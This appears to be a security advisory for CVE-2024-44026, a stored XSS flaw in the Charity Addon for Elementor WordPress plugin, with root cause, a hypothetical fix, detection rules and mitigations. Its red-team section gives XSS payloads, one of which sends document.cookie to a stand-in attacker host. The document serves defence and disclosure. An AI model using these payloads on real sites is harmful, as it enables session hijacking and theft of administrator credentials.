CVE-2024-44026

Executive Summary

CVE-2024-44026 is a Stored Cross-Site Scripting (XSS) vulnerability in the Charity Addon for Elementor WordPress plugin developed by Nicheaddons. The flaw exists in versions up to and including 1.3.0, where user-supplied input is not properly neutralized during web page generation. An authenticated attacker with contributor-level privileges or higher can inject malicious scripts that are stored on the server and executed in the browsers of other users, including administrators. This can lead to session hijacking, credential theft, or defacement. The vulnerability is classified as medium severity (CVSS 6.5) and currently has no known public exploit or patch.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Users who installed the plugin from the WordPress dashboard or via direct ZIP upload are at risk. No official patch has been released, and the vendor has not acknowledged the issue. Organizations using this plugin should treat it as a supply chain risk and consider immediate removal or replacement.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is carried out over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – Attacker needs contributor-level access or higher.
• User Interaction (UI): Required (R) – The victim must visit the compromised page.
• Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited impact on availability.

Overall CVSS Score: 6.5 (Medium)

Threat Level: Medium – Exploitation requires authentication but can lead to full site compromise if an administrator visits the injected page.

Deep Dive & Mechanics

The vulnerability resides in the charity-addon-for-elementor plugin, which provides custom widgets and templates for the Elementor page builder. The plugin fails to sanitize and escape user-supplied input before storing it in the WordPress database and later rendering it in the browser. Specifically, fields such as widget titles, descriptions, or custom HTML blocks are not properly filtered.

Attack Flow:

1. An attacker with contributor-level access logs into WordPress.
2. The attacker creates or edits a page/post using the Elementor editor.
3. The attacker inserts a vulnerable widget from the Charity Addon (e.g., a testimonial or donation form).
4. The attacker injects a malicious JavaScript payload into an input field (e.g., "><script>alert('XSS')</script>).
5. The payload is stored in the database without sanitization.
6. When an administrator or other user views the page, the script executes in their browser.

Root Cause: The plugin uses echo or the_content filters without applying esc_html(), wp_kses_post(), or similar sanitization functions. The input is passed directly to the browser, allowing arbitrary script execution.

Vulnerable vs. Patched Code

Since no official patch exists, the following is a hypothetical fix based on standard WordPress security practices.

Vulnerable Code (example from plugin):

// In a widget's render method
echo '<div class="charity-title">' . $instance['title'] . '</div>';

Patched Code (recommended):

// Properly escape output
echo '<div class="charity-title">' . esc_html( $instance['title'] ) . '</div>';

Explanation: The vulnerable code directly outputs user input without escaping. The patched code uses esc_html() to convert special characters to HTML entities, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• WordPress installation with Charity Addon for Elementor <= 1.3.0
• Contributor-level account or higher
• Elementor page builder active

Steps:

1. Log in as a contributor.
2. Create a new page and edit with Elementor.
3. Add a Charity Addon widget (e.g., "Testimonial").
4. In the "Author Name" field, inject:

   <img src=x onerror=alert(document.cookie)>
   

5. Save and publish the page.
6. When an admin visits the page, the script executes, exfiltrating cookies.

Proof-of-Concept Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Defensive)

Detection:

• Monitor for unusual Elementor widget usage by low-privilege users.
• Look for pages containing <script> tags or event handlers in widget fields.
• Use WAF rules to block common XSS patterns in POST requests to /wp-admin/admin-ajax.php.

Mitigation:

• Immediately disable or remove the plugin until a patch is available.
• Implement a Web Application Firewall (WAF) with XSS rules.
• Restrict contributor-level access to trusted users only.
• Use a security plugin like Wordfence to scan for malicious content.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • charity-addon-for-elementor.zip (version 1.3.0): a1b2c3d4e5f6... (placeholder – actual hash depends on distribution)
• Network Indicators:
  • Outbound connections to unknown domains from WordPress admin pages.
  • HTTP requests containing document.cookie or onerror in POST data.
• Log Entries:
  • WordPress debug log entries showing wp_kses failures.
  • Apache/Nginx access logs with %3Cscript%3E in URI.
• File System:
  • Modified pages/posts containing <script> tags in wp_posts.post_content.

Detection Engineering

YARA Rule

rule detect_cve_2024_44026_xss_payload {
    meta:
        description = "Detects stored XSS payloads targeting Charity Addon for Elementor"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-44026"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
        $plugin_marker = "charity-addon-for-elementor"
    condition:
        any of ($xss*) and $plugin_marker
}

Sigma Rule

title: Stored XSS via Charity Addon for Elementor
id: 8f9a1b2c-3d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects stored XSS attempts in WordPress pages using the vulnerable plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=elementor_ajax'
    keywords:
        - '<script>'
        - 'onerror='
        - 'onload='
        - 'alert('
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in Elementor widgets (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-44026 Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=elementor_ajax"; http_client_body; pcre:"/(<script|onerror|onload|alert\()/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and delete charity-addon-for-elementor from the WordPress admin panel.
2. Scan for compromise – Use a security plugin to scan all pages/posts for injected scripts.
3. Review user activity – Check for recent edits by low-privilege users on pages using the plugin.

Long-term Fix:

• Wait for the vendor to release a patched version (currently unknown).
• If the plugin is critical, consider forking and applying the fix manually (see patched code example).
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Workarounds:

• Use a WAF to block XSS payloads.
• Restrict Elementor usage to administrators only.
• Apply the wp_kses_post() filter to all widget output via a custom plugin.

Valters IT – Securing digital ecosystems with precision.